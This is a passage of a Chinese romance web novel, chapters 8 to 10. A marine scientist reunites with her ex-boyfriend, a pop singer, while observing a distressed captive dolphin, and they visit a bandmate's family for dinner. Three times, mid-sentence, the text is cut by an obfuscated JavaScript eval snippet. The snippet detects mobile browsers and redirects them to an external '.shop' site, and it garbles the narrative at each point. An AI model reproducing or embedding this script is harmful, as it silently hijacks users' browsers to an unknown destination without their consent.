“我刚刚抓拍到你大笑,乔乔你好美。我现在改做摄影天才了!”何舟泽凑到她面前,好像摇着尾巴等待夸赞的小狗。 然后她便看见了一张值得一生留念的人生照片—— 照片里的乔之二十岁,年轻的脸上张扬着笑意,盛满了快乐。 在白茫茫的雪地里,她是最鲜活的存在。 - 傍晚时,系主任来乔之的实验室逛了一圈,提供了不少有用的建议。 临走前,他拍拍脑袋像是想起了什么,说:“对了,市海洋馆最近引入了一只新的海豚,有机会的话可以去观察一下。” 江临市海洋馆一直是本市人气最高的亲子活动场所之一,同时也承担着一部分海洋科普和野生动物研究与保育的工作。不过乔之对海洋馆始终心有成见,所以只在江大读本科时曾跟老师去过一次。 “我们之前一般是怎么联系那边的?”乔之刚回国,没什么能用得上的人脉。 系主任皱眉想了想:“海洋馆那边常联系的王老师今年离职了,一时半会儿我也想不到什么别的熟人。这只海豚的生长经历很特殊,你想办法去一趟,对你的研究可能会有帮助。” 这还不是官方层面的科研合作,乔之不方便打着江临大学的名头,只能找一找私人关系。但系主任都说没熟人,她哪还有什么别的办法。 乔之不禁有些头疼,但确实也想亲眼去看看。 “市海洋馆……”她在心里默念着。 忽然间她想起何舟泽上午发的消息:“周五下午在江临市海洋馆,乔老师方便亲自来现场一趟吗?” 好像是同一个地方,而且他的MV恰好也要拍海豚。 8. 第八章 拍摄组包下了整个海豚园区,除了剧组的工作人员外,现场还配有专业的海豚驯养员。 一切和乔之预想的一样,她其实没有来现场的必要。 乔之坐在监视器附近,观察着镜头里的何舟泽。 他画了很特别的的妆容,穿着特别定制的厚重服饰,但却轻松驾驭。妆造丝毫没有掩盖住他一丝一毫的光辉。 乔之从来都知道何舟泽长得好,无论是五官还是气质,都是一等一的水准,不管在哪都是让人无法忽视的存在。 他演绎着设定好的剧情,举手投足都让人入戏。 即便是在拍摄现场这样人来人往的地方,乔之也看得入神。 何舟泽是个天生的明星,乔之比几年前更深刻地认识到这件事。 “咔——”这个场景顺利拍摄完成,导演喊了声停。 乔之回过神来,看见何舟泽第一时间走到这边检查拍摄效果。 “这一次拍得不错,走位和神态都到位了。”导演赞许道。 何舟泽沉吟了片刻,指了指镜头的某处说:“这个地方好像有点突兀,是不是挪开会好一点?” 导演想了想,觉得有些道理:“那让道具组调整一下,我们再拍一条对比看看。” 乔之并不懂拍摄,因此只是坐在一边默默听。 何舟泽今天几乎没怎么找她说过话,仅仅是刚到时打了个招呼。 神情看起来礼貌得体,似乎并没有把那天她说的话放心上,或者说因为听进了那句话,所以主动与她保持距离。 导演站起身,与相关人员重新调整刚刚发现的问题。 何舟泽独自留下来反复观摩刚刚的片段,乔之在一旁没有说话。 “乔老师刚刚看下来,感觉如何?”他突然转头发问。 乔之微愣了下,称赞道:“你演得很好。” 何舟泽勾了勾嘴角,心情看起来很是不错:“乔老师谬赞了。之后别的场景,有机会也可以……” 乔之想到自己来这儿的目的,犹豫后开口:“这个场景我已经完整看过几遍,没有什么科学问题。拍摄细节不是我的专业,我可能也给不出有用建议。” 何舟泽听出她的言下之意,顿了顿,说道:“放心,我已经让方鸣和海洋馆这边协商过了,等会儿吃完饭会有人带你过去。” 海洋馆新引入的那只海豚还在适应期,并不会参与公开活动。何舟泽能帮她争取到观察机会,想必也是经过了不少额外的工作。 乔之诚挚感谢道:“谢谢,麻烦了。” 何舟泽倒是满不在乎地说:“没什么,就当作那天你给我送帽子的谢礼。” 现场很快调整完毕,这一次拍得更加顺利。 转眼就到了午饭时间。 下午在海洋馆还有一个场景需要拍摄,剧组给在场所有人都准备了盒饭。 乔之正打算领一份盒饭,找个地方随便解决一下。 消失了一上午的方鸣这会儿出现在拍摄现场,他看见乔之后热情地打了个招呼:“乔老师,来这边。” 乔之在现场没有其他认识的人,索性跟着他到了某间办公室。 未进门,她就听见何舟泽懒洋洋的声音响起:“你那边沟通好了吗?” 他抬眼看见乔之也走了进来,“哦”了声,又正了正身子对方鸣说:“你直接和她说吧。” 方鸣替乔之拉开椅子,说:“放心,我都搞定了。乔老师,这边坐。” 正好是何舟泽身侧的位子。 乔之正犹豫着,又听何舟泽说:“一起吃吧。我不烦你。” 后四个字很轻,语气里听不出什么情绪。 方鸣递过来两份盒饭,随后自己也拆了份,在对面坐下。 “乔老师,吃完饭小王会带你去看那只海豚。” 在一边默默吃饭的助理小王这会儿抬起头来,冲乔之点点头。 乔之报以微笑,道了声谢,手上一边拆着盒饭的包装。 她还没看清饭菜的样式,一旁的何舟泽突然拿过她的饭,对小王说:“乔老师不吃胡萝卜,小王你帮忙换一份。” 她这才看见有一道清炒胡萝卜。 她不吃胡萝卜,这件事只有何舟泽知道。 乔之不好意思麻烦别人,又将盒饭拉近了些:“没关系,不用麻烦了。” 但何舟泽没如她愿,干脆直接将自己的盒饭推了过来,又拿走她的:“别勉强了,你吃我这份。我还没动过。” 语气温和,态度却不容拒绝。 方鸣诧异地看着两人的动作,想不明白何舟泽为什么这么清楚乔之的饮食习惯。 “你怎么知道乔老师有什么忌口?” 何舟泽看着乔之没说话。 乔之没想到何舟泽没和方鸣透露过他们俩的关系。 她紧了紧手中还未开封的一次性餐具,想了个说辞:“我们是大学同学。” 方鸣睁圆了眼:“真的吗?怪不得我说……” 话还没说完,何舟泽轻咳了几声,方鸣赶紧识趣地换了话题:“可是你俩不是不同专业吗?” “……” 乔之当然不可能点破他们之前的关系,于是勉强笑道:“理工科专业会有一些相同的基础课,做过课友。” 何舟泽轻笑了声,旁人没注意,但乔之听得清楚。 “嗯,课友。”他意味不明地附和道。 是他毫无保留的课友。 . 音乐社的面试很顺利,何舟泽成功成为了一名正式社员。那天如果没有乔之施以援手,他大概只能遗憾错过机会,等下一个学期的纳新。 唯一可惜的是那会儿时间紧张,他还没来得及好好道谢,两人就分别了。 何舟泽踩着轻快的步子走进微积分的教室,心想着还好乔之也在七连的群里,他晚点儿加个好友向她道谢。 正这么计划着,他抬头就看见了教室第三排角落坐着一个穿白色短袖的女生。 “好巧,我们又见面了!” 乔之正在翻阅教科书,准备看一眼今天上课要讲的知识点。忽然间听到耳边响起熟悉的声音,转头看见何舟泽在她身旁坐下。 她认出了他,于是点点头,将桌上的书本往里边挪了挪,为他腾出空间。 何舟泽从书包里拿出崭新的课本,往桌上随意一丢,转头继续找她搭话:“对了,我面试很顺利。那天谢谢你送我!” 乔之没把这件小事放在心上,说道:“举手之劳。恭喜你。” “我们加个好友吧,改天我请你喝奶茶!” 乔之刚想说“不用客气”,却看见对方已经把二维码亮出来,放在她面前。 何舟泽的笑容看起来纯良无害,她不好意思回绝。 两次讲座加上一次习题课,这学期的微积分一共有五个学分,一周三次课。自从加上联系方式,何舟泽隔三差五就让乔之帮忙占座。 一来二去,竟也逐渐熟悉起来。 开学一个月后的微积分小测,考试题量不大,乔之提前交了卷子出门。 “小测的最后一题你做出来了吗?”何舟泽单肩背着书包,追着她走出教室。 乔之稍微慢了慢步子,等他走到身边:“做了,但不是很确定。” “证明题有什么不确定的,写了肯定就八九不离十。”何舟泽叹口气,“我一点都想不出来。” 乔之诧异道:“那你怎么也提前交卷?” 男生嘿嘿一笑,嘴里说着:“反正再多时间也写不出,不如趁人少先去吃饭。” 何舟泽往楼梯间的方向跑,落日的余晖落在了他的身上。 他回过头来,朝着乔之招手,笑容灿灿。 他催促道:“快动起来,今天我请你吃二楼的盖浇面!” 到了食堂二楼,何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445148|141525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舟泽才认识到自己还是太年轻,提前十分钟交卷在吃饭这件事上占不到多大便宜。 “乔之,你先去找个位子,我去买饭!”说着把自己的书包往乔之手上一丢,转眼就消失在了队伍中。 乔之在位子上等了一会儿,等何舟泽放下餐盘才看见他买了两份鱼香肉丝盖浇面。 香气扑鼻,可惜她不吃胡萝卜。 但乔之什么都没说,毕竟这是何舟泽好心请她吃的晚饭,她不动声色地拨开胡萝卜,默默吃饭。 “你不吃胡萝卜?” “啊?”乔之抬头看见何舟泽盯着自己的餐盘,下意识否认,“……没有啊。” 何舟泽指了指她的盘子,说:“虽然你没有刻意挑出来,但是我看你一口胡萝卜都没吃。” 乔之感到有些惊讶。她不吃胡萝卜这件事,没有人知道。 外婆不允许她挑食,所以她从没有明确表露过自己的喜好,在日复一日的隐藏下她学会了怎么不惹人注意地避开胡萝卜。如果实在遇到躲不过的情况,她多半也会硬着头皮吃下去。 “确实不太喜欢,但也可以接受……”她下意识找补。 何舟泽放下了筷子,认真地说:“不喜欢就不要勉强。抱歉,是我没问清楚,明天下课我再请你吃别的!最近爆火的咸蛋黄炒年糕怎么样?” 明明是她挑食,他的态度却好像错在了他。 . 乔之看了眼何舟泽拿走的盒饭,橙红色的胡萝卜丝堆了一个小小的角。 何舟泽夹起来,随意吃了几口。 方鸣见两人一致承认,惊喜道:“那真是太巧了!乔老师,何舟泽上周让你送帽子,我还担心他太没边界感。” 乔之听到他提起这事,怔了怔,笑道:“没关系,我刚好顺路。” 简单吃过午饭后,何舟泽要补妆准备下午的拍摄,而乔之则跟着小王去找海洋馆的负责人。 来对接的除了海豚饲养员,还有一位看上去级别不低的海洋馆领导。 “乔老师您好,我是海洋馆的副馆长。”副馆长穿着一身黑色西装,颇为正式。他主动上前来握手。 乔之很惊讶,她没想到只是私下的一次科学观察而已,副馆长会来亲自接待她。 说着,副馆长递上了一张名片,又向她介绍饲养员:“这位是我们馆的海豚饲养员小徐,他会带您去看海豚。之后您有空都可以随便来,直接联系我们就好。” 乔之按着心头的不解未说话,直到副馆长和小王离开后,她在穿越场馆时才忍不住问了小徐一句:“我之后再来会叨扰你们吗?” 小徐抱着记录本,态度客气:“不会不会。何舟泽都要主动为我们拍宣传片了,这点事不算什么的。” 听到这话,乔之才意识到何舟泽为她和海洋馆做了笔交易。 乔之原以为他在海洋馆有什么熟人。 现在想想,他是个歌手,怎么会和海洋馆有瓜葛?本就是各取所需的合作罢了。 她不知道何舟泽身价多少,但以他现在的知名度,用一支宣传片换她观察海豚的机会,于他而言绝对是赔本买卖。 可是,那时她在微信上试探一问,他丝毫没有犹豫就答应了。 仿佛只要她来,多大的困难他都能解决。 趁着小徐去拿装备的空档,乔之翻出手机给何舟泽发了条微信。 【Jo:我听说你要给海洋馆拍宣传片,其实不必如此帮我。非常感谢,这份人情我可能还不起了。】 对面很快就回了消息。 【H:本来就在这儿拍摄,不费事。不用你还。】 话说到这个份上,反而让乔之不好意思起来。 自从他们重逢,她几乎没给他什么好脸色,从头到尾都只想离他越远越好。 手机震动,又一条消息出现在屏幕上。 【H:乔乔,我希望我们还能做朋友。】 9. 第九章 重逢以来,乔之叫何舟泽“何先生”,对方则一口一个“乔老师”。 明明曾经是那么亲密的关系,他们俩却都不约而同地在称呼上假装客气。 “乔乔”。 乔之看着屏幕上重复出现的这两个字,竟有种微妙的陌生感。 耳边好像响起了过去无数次,或欢喜或挑逗或咬牙的那一声声。 . 他们相熟后不久,何舟泽就知道了她这个鲜为人知的小名。 那天乔之从外面回到自习教室,看见何舟泽往她的位置挪了一格。 他对她露出了神秘的笑容。 坐下后,何舟泽压低声音悄悄凑近道:“乔乔。” 乔之整个人呆住了,熟悉的称呼配上何舟泽的声线,让她深感怪异。 “你……怎么突然这么叫我?”她不敢大声说话,用气声问道。 何舟泽指了指她放在桌上的手机,有些不怀好意地笑着,没解释就坐回了自己的位置。 【H:刚刚你妈妈给你打了好几个电话,最后我帮你接了。没想到你小名叫“乔乔”,比大名可爱多了!】 乔之看见这条消息,紧了紧眉头,发现果然有几条通话记录。 她转头看何舟泽,对方挑了挑眉,指着她的手机小声道:“记得给她回电话。” 他咧着嘴,全然收不住笑意。 从此以后,何舟泽成为了这个世界上第三个叫她“乔乔”的人。 “乔乔,这周微积分作业写了吗?” “乔乔,下周我们音乐社有活动,要不要来玩?” “乔乔,你考虑考虑我呗。” 明明还不是多么熟的关系,却比谁都肆无忌惮。 这就是何舟泽,无论说什么、做什么都好像有着与生俱来的底气。 . 回过神来,乔之面对着眼前这则消息有些不知所措。 “我希望我们还能做朋友”这句话里隐藏的斟酌和委婉不像她所认识的何舟泽,但在她稍缓态度后便主动向前的姿态却又像极了他。 小徐取好了装备来催她,乔之急匆匆之间回了句“好”。 其实她清楚地知道,她和何舟泽做不了朋友。 即便不是她有意避嫌,他们光是性格与兴趣爱好就风马牛不相及,更别提两人天差地别的人生。 大学期间如果没有那场雨、那几节相同的课程,他们或许直到毕业都是陌路人。也因此,不再是恋人后,他们就彻底地消失在了对方的生活中。 - “乔老师,这边就是我们的饲养区,您想观察的那只海豚奇奇就在这儿。”小徐沿着水池边走,对乔之指了指不远处的位置。 乔之放眼望去,看见一只灰色的海豚在单独的区域缓缓游动。 ——这就是系主任提到的海豚奇奇。 这一只海豚的成长经历非常特殊。它在人工环境中出生,而后被放回海洋,成年后又被抓捕回到人工养殖环境中,最后辗转来到江临市海洋馆。 乔之路上看了海洋馆这段时间为奇奇做的体检报告和监测数据,与一般的成年海豚无异,但乔之亲眼看到它时,心里升起了异样的感觉。 “它现在还是单独生活吗?”她指了指奇奇所在区域。那是一个单独的网格,与其他海豚分隔开。 小徐带着乔之继续往那边走,他有些头疼道:“它还是有一点应激反应,时不时会有攻击行为,所以只能单独隔开。” 两人走近海豚奇奇的生活区,离水池边缘远了远。 小徐继续说:“所以,乔老师,你待会儿还是要小心一点,尽量不要离太近。” 乔之应了声,紧盯着奇奇看。 这是一只普通的宽吻海豚,通体灰蓝色,泛着光泽。它的右眼附近隐隐有一块翅膀状的深色斑块,这是它被认出来历的重要标志。 这会儿奇奇正恹恹地在池中打转,无精打采。 乔之已经明显地感受到它有抑郁倾向。 被囚禁在一方小小的水池中,它如何不怀念曾经的自由呢? - 乔之做好海豚的行为记录后走出内部饲养区,看见拍摄组也刚好收工。 方鸣眼尖,先看见了她,招呼着她过去。 “乔老师,下午观察得如何?” 乔之叹口气,摇了摇头道:“我的工作很顺利,但……那只海豚的情况不太好。” 何舟泽这会儿拿着一瓶水走过来,听见乔之的话,问了句:“怎么了?” “应激反应,可能还有点抑郁倾向。” 方鸣听到这话有些惊讶,问道:“动物也会抑郁吗?” 乔之肯定地说:“海豚的智慧程度很高,情感丰富,不亚于人类。离开广阔的海洋,行动从此限制在小小的水池里,这类情况很容易导致海豚抑郁。” 方鸣对海洋生物没什么研究,只当是涨知识了,也跟着叹息。 随即他碰了碰何舟泽的胳膊,转了个话头:“我们得抓紧时间走了,晚上还有个录制。” 何舟泽没动,看了看乔之,问:“你怎么回去?” “啊……”乔之一时没想好,停顿了会儿说,“坐地铁……?” 方鸣刚刚一时忘了考虑乔之还在这里,这会儿抬头看了眼被夕阳染红的天空,说道:“现在晚高峰,地铁应该很挤。乔老师,你回学校还是回家?” “同一个方向。”何舟泽率先替乔之回答了。 “这边坐地铁回去太远了。我们待会儿要去电视台,可以中途找个近点的地方把你放下来。”方鸣想着两人是老同学,干脆提议顺路送一程。 乔之第一反应想拒绝,但她想起自己答应了何舟泽要尝试和他做朋友,加上经纪人和助理都在一起,想来不会比两人相处时尴尬。 于是她咬咬唇便答应了下来:“好吧,麻烦了。” - 何舟泽晚上要录制的是江临台的一档热门音综《新声》,参加节目的歌手需要在限定时间里创作出一首完整的作品,并且在节目中完成舞台。 今年这一季别名叫《旷野之声》,创新点在于融入了户外元素,每期的场景都设置在室外,歌手们要在自然中寻找灵感。 今晚要在电视台录制节目的先导片,主要内容是嘉宾破冰和过往作品表演,录制时间估计会很久。 何舟泽工作了一整天,晚上还有舞台表演,照理说应该在车上好好休息以恢复精力。但他从上车就一个劲儿地找话题,嘴巴好似没歇过。 虽然他并不全都对着乔之说,但她却隐隐感觉他在试图拉近两人的关系。 “祖宗,你晚上还要唱歌,这会儿可别再说话了。”方鸣终于在他屡次硬找话题后忍不住开口。 何舟泽正想反驳,乔之也跟着点头:“演出重要,要好好保护嗓子。” 然后他硬生生停住了,讪讪一笑:“……好。” 这边话题停下了,乐队小群的消息却开始弹个不停。 【姚朔S:我!出院了!有没有人来给我庆祝庆祝?】 【今天不搬砖:?你才住了几天】 【姚朔S:你还想我住多久?住院真的太无聊了!医生一说可以回家休养,我就赶紧跑了。】 【H:恭喜。】 【姚朔S:还是老何对我好 [亲亲]。@H 你这几天是不是还在江临,明天要不要来我家吃个饭,给我接风洗尘。】 【姚朔S:@Jo 乔之有空一起来吗? [可怜]】 何舟泽放下手机,转头见乔之也开着微信。 他晃了晃自己的手机,道:“你去吗?” 乔之明天要开一天的会,她对何舟泽摇摇头,转而在微信群里发消息。 【Jo:抱歉,我明天有事。】 【H:我也有别的行程,换个时间吧。】 “后天呢?”何舟泽一只手打着字,一只手撑在窗边按着脑袋。 他这线上线下自如切换,让乔之一时半会儿没反应过来,直接在群里打下了回复。 【Jo:后天或许有空。】 刚发出去,她才意识到自己把回话发在了群里,轻轻“啊”了一声,正准备撤回。 何舟泽看到群里的消息,又见乔之猛然清醒的样子,轻笑了声, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445149|141525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也跟着回:【我后天也有空。】 【姚朔S:?你俩这是约好了吗?后天就后天吧,晚上六点。我亲自下厨,你们等着享福吧!】 【今天不搬砖:别没做几个菜,给你的腿雪上加霜了 [呲牙笑]】 【姚朔S:别小瞧我,有本事你飞到江临见识见识我现在的水平。】 【今天不搬砖:我倒是想,客户可不肯放了我。】 姚朔和夏安语在群里三言两语地闲聊着,这边何舟泽收起了手机。 他的手指在车门的膝盖上轻敲了几下,半晌才转头对乔之说:“后天我去接你吧,你不知道老姚的地址。” 问个地址又不是什么难事,乔之心想。 但她看见何舟泽的眼神真挚,神差鬼使地答应了:“好。” 最后乔之在中途路过的一个地铁站下了车。这里离江临大学只有几站路,正好也避开了人流量最大的高峰期。 乔之准备回办公室整理一下今天在海洋馆拿到的数据和资料,顺便在地铁上点了个外卖。 商家在离学校不远的位置,乔之本来算好了时间,外卖和她能差不多时间到学校。但没想到骑手路上不知有什么事耽搁了,她在办公室待了好一会儿才收到送达的通知。 海洋楼的外卖柜在一楼,上楼时电梯正巧在往上走。 乔之想着反正没几层,干脆提着外卖往楼梯间去了。 “这次印度洋科考的名额怎么会给微生物的祝声啊?我们学院其他资深老师都没排上呢。” 楼梯附近就是饮水间,乔之还没走出楼梯间,就隐约听见有人提到了一个熟悉的名字。 另一个男声压低了声音,神秘道:“你还不知道她吗?” 话里的意思好像是有什么隐情。 乔之无意偷听他人的谈话,但这段时间她和祝声相处不错,这会儿也好奇地停下了脚步。 那个人继续说道:“她和院长儿子谈过,我听说这是分手礼!” “卧槽!真的假的?这不就是那什么学术妲己吗……”最先说话的人没控制住声音,惊叹了一句。 乔之顿时感觉全身血液的温度都降至了冰点。 过两个月,全国数十家大学和海洋研究所将在印度洋开展远洋科考。他们学院这次分到了三个名额,祝声是其中之一。 乔之不知道祝声是否真的有这么一段过往,但她非常确定他们所说的分手礼物绝对是无稽之谈。 祝声虽然才入职没几年,但在学术上的成绩足够她代表学院参加科考。 乔之紧攥着外卖,冲出了楼梯间,快步走到饮水机前。 两个正在打水的男生被突然出现的她吓了一跳。 “祝老师二十五岁就拿到了博士学位,论文的引用量是同龄人的好几倍。”乔之的语气冰冷,“在你们眼里,难道她这些成果还配不上一个科考名额吗?” 她不是喜欢与人起冲突的性格,但此刻她克制不住语气中的恼火。 两个男生没想到刚刚随口的八卦被人听见了,面面相觑,一时之间不敢再说话。 其中一个人正打着热水,此时竟紧张地忘记关开关,热水从杯子中溢了出来。 “啊——”他没忍住叫了一声,急忙甩开手上的开水,手忙脚乱地将杯子放稳。 听声音,好像就是那个提“分手礼”的人。 乔之微眯着眼,突然感觉他们有些眼熟,冷声道:“我记得,你们是黄老师的学生吧?” 对面两人这时也认出了乔之是生物所的新老师。 如果说刚刚只是因为被人撞破背后嚼舌根而感到尴尬,这会儿他们是真的有些害怕。毕竟刚刚谈论的话题本来就只是捕风捉影的八卦,还涉及院长。若当事人有意追究,他俩吃不了什么好果子。 “老……老师对不起!刚刚我俩就是随便说说。” 乔之深感嘲讽。 一个女人只要和八卦新闻沾点边,就能轻易成为别人的饭后闲谈。自身再多其他成就,都能轻而易举地被这些风流逸事掩盖。 她没再说话,只是深深看了一眼面前这两个男学生,抬脚走了。 10. 第十章 乔之一早醒来,习惯性地看了看手机上的日程表。 今日除了去姚朔家吃饭外没有别的安排,于是她索性就待在了家里。 直到下午四点多,她才慢腾腾地开始收拾自己。 【H:我在你家楼下了。】 手机振动,何舟泽发来一条微信。 昨天他们约好五点半一起出发,乔之看了眼屏幕上方的时间,才刚过五点没一会儿。 好在她已经准备得差不多,于是便敲了几个字:【稍等,马上下来。】 【H:还早,不急。】 乔之随手抓了只口红涂上,披上薄外套便出了门。 何舟泽还是开着那天从医院送她回家的那辆车,乔之一走出单元门便看见车靠在了花坛边。 车窗上贴着严密的防窥膜,只能隐约瞧出一个模糊的影子。 乔之走到副驾驶的位置敲了敲玻璃,里头的人将车窗摇下来。 果然是何舟泽。 他的心情看起来很不错,眼里带着笑意道:“上车吧。” 乔之点点头,又抬手将手里的袋子露出来,道:“我给姚朔带了一点有利于康复的保健品,可以放后备箱吗?” 何舟泽见袋子并不是很大,指了指后面道:“放在后座吧。” 乔之随即打开了后座的车门,看见里面已经有一捧鲜花和几个袋子——似乎是何舟泽为姚朔准备的出院礼物。 她将自己的袋子找个了地方平放在座椅上,随后又回到副驾。 “你准备的花很好看,不过男生之间也会送这个吗?”乔之寻了个话头。 何舟泽顺着话题瞥了眼后座,笑了声:“男生之间不送。但姚朔少女心,就喜欢这样的。” 他转回来的视线里看见乔之。她今天用心打扮了一番,光彩昳丽,让人移不开眼。 何舟泽一边启动车子,一边说道:“乔乔,你今天很好看。” 语气听上去轻松随意,但他却没敢再回头看她。 这样的时刻总是在提醒着他,乔之早就不是多年前青涩的大学生。她的确在他不曾参与的时光里快速成长、改变,有着很好的生活。 乔之系安全带的手顿了顿,腆着脸道:“……谢谢。” “你接下来有什么安排?还会去看那只海豚吗?” “嗯。上次和海洋馆那边沟通好,大概每周会去一次。” “下次是什么时间?” 乔之想了想说:“具体时间还没定,但应该是周五下午。这个时间我通常都没有其他安排。” 何舟泽半晌才开口:“好,我知道了。” 乔之对他的回答摸不着头脑,但也只当是闲聊,没太放心上。 车里的氛围又冷下来了,乔之踌躇着主动开口:“……你前天录制还顺利吗?” “很顺利。” 正巧这会儿碰上个红灯,何舟泽缓缓减速,将车子停了下来。 他转头看着乔之,突然问道:“虽然这么说有点像自卖自夸,但我的歌确实还不错。你想听听看吗?” 乔之倏地撞上他的眸子,一时间竟有些不知所措。 她下意识点了点头:“好。” 何舟泽伸手在中控台的屏幕上点了几下,车里渐渐响起了旋律声。 前奏很熟悉,乔之努力回忆了片刻,才想起来她在那个盘点视频里听见过这首歌。 这是何舟泽近几年非常火的一首原创歌曲,音乐节奏强劲有力,歌曲内涵深刻,描绘了生态退化和资源枯竭的废土世界和末日生活。 不过现在车里放着的版本,和乔之之前听过的有一些细微差别。 她问:“这是新版本?” 何舟泽听见这句话,有些惊喜道:“你在美国听过这首歌?” 乔之不解:“?” 看见她疑惑的表情,何舟泽解释道:“这首歌是《明日之地》亚洲区的推广曲目。” 《明日之地》是好莱坞三年前的爆款灾难片,在全球范围都有很高的讨论度。 乔之听说过这部电影,只不过她对灾难片一向不感冒,因此并没有深入了解过。 “不是……”乔之不好意思说自己专门看过他的经典舞台合集,只好寻了个借口,“我无意间在学生那儿听到过。” “哦。”何舟泽看起来有些失望,随即又开个了玩笑道,“我还以为我的歌已经火到美国了呢,白高兴一场。” 乔之安慰地说:“是我不怎么看灾难片。我其实也有不少同学会关注你。” 这话她倒也没说谎。 虽然她在程青筠介绍之前对何舟泽的热度没有实际概念,但在国外念书时,确实偶尔也会听身边的同学提到他的名字。 何舟泽笑了笑,跟着音乐随便哼了两句。 他说:“现在这个是我为节目重新录制的新版本,除了现场人员外,你是第一个听到的。鼓点做过修改,还加了一段和声。” 乔之竖起耳朵仔细听,发现整首歌的氛围经过改动后,变得更悲凉了一些。 如果是原始版本是一声声对人类行径和明日世界的嘶吼与控诉,符合好莱坞大片的震撼感;新版本则更像是一首末世挽歌,整首歌的反思性更强了。 “很好听。”她诚恳地夸赞道。 “可惜是封闭式录制,不然也想让你看看现场舞台。” “节目叫什么名字?等播出的时候,我一定准时收看。” 何舟泽听见乔之郑重地回话,想起她自从答应要和自己重新做朋友后,就似乎不再对他那么冷漠抗拒。诚挚的态度中又带了一点笨拙。 冷静自持的乔乔什么都会,泰山崩于前也能面不改色,但却最不懂如何自如地释放友善和处理感情关系。 他忍不住笑了出来:“好啊,屏幕前也一定要为我捧场。” - 因为两人比计划提前出发,所以抵达姚朔家时还不到六点。 夏末早秋的白昼还很长,此刻太阳仍斜斜地挂在城市天际线的上沿,照得整片天空都洁白明亮。 姚朔家在江临老城区,拥挤低矮的居民楼鳞次栉比,来来往往的人群里大多是上了年纪的老年人。 何舟泽对这一片早已熟门熟路,找了个逼仄的停车位后带着乔之穿梭在楼房间,很快便找到了姚朔家。 老旧居民房的隔音效果一般。乔之站在门口还能听见姚朔在屋内说的只言片语—— “妈,帮我拿一个大盘子。” “这个放着我来。” 乔之想起大学时姚朔常常抱怨自己练习的时候又被哪个邻居投诉,到后来干脆连周末也都整日整日地待在学校。 在这样环境下玩音乐,的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445150|141525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确是在挑战邻居的忍耐力。 姚朔的父母好客,除了会让姚朔给大家带些自制点心外,也时不时招呼乐队去家里吃饭。 乔之一共去过两次。 门铃早已没电罢工,何舟泽习以为常地抬手敲了敲门。 “来了——来了——”洪亮的男声穿透门板。 开门的是姚朔的爸爸,和乔之印象中得几乎没什么两样。 “叔叔好,我又来蹭饭了。”何舟泽熟稔地问好。 姚父笑眯眯道:“光敲门不出声,我就知道是小何来了。” 站一旁的乔之也跟着打招呼:“姚叔叔好,好久不见。” 姚父一边应着好,一边带着点困惑细细打量乔之。 突然,他一拍脑门道:“我想起来了!你是小何的女朋友,好久没来了。叫什么来着……” 这番话让站在门口的两个人都顿住了,似乎怎么解释都会让场面变得更尴尬。 这会儿姚朔也拄着拐杖一蹦一跳地走了出来,他抬起一边的拐杖将姚父往边上推:“我刚和你说过,这是乔之!” 然后附在姚父耳边飞快地说了句:“他们早就分手了,你别提这个。” 姚父这才想起来今早姚朔特意提到过这件事,顿时也有些不好意思。 末了,姚朔又带着点歉意对乔之说道:“不好意思,老年人记性不好。除了何舟泽这种隔三差五来蹭饭的,其他人他都搞不清。上次还把小夏叫成颜叙。” 姚父瞪圆了眼,在姚朔后背拍了一掌:“胡说,小夏和小颜一个是女生一个是男生,我怎么搞不清?” 父子俩的对话氛围轻快,乔之略过刚刚的话,径直介绍道:“叔叔,我叫乔之。小乔的乔,王羲之的之。前几年都在国外读书,最近才回来。” “哦对对对,小乔!我记得你,你喜欢巧克力味的蛋糕对不?” 乔之笑了:“是的。姚叔叔的手艺太好了,我至今都念念不忘。” 有了饮食习惯的关联词,姚父一下就想起了她。 他赶忙招呼着两个人进门:“别在门口站着了,快进来坐吧。我最近又研究了一些新的甜点,待会儿请你俩尝一尝。” 乔之笑着答应,一边将手中的慰问品递过去:“这是我给姚朔的出院礼物,是我从国外带回来的一些助于康复的保健品。” “这是我的。”何舟泽顺手将自己的礼物也递了过去。 姚父接过袋子,嗔怪道:“一个个怎么都这么客气,还准备礼物!” 他将袋子往客厅一放,指指厨房的方向:“你们先聊,饭一会儿就好。” 姚朔瞧见何舟泽给他带的花,顿时喜上眉梢:“我就说还是你有品味,这花搭得不错。不过还是乔之周到,我是得好好补补。” 何舟泽熟门熟路地径直往沙发上坐,顺便把姚父放一旁的袋子打开,将里面的东西一件件往外拿。 他说道:“放心,够你大补一顿。我也给你买了保健品。” 茶几上瞬间码了两层包装盒。 乔之看见熟悉的包装,一时没反应过来,就见姚朔小步挪过来,又拿起她的礼物袋,嘴里说着:“你这哪有乔之给我从美国带的好……” 然后手里取出了完全一样的包装盒。 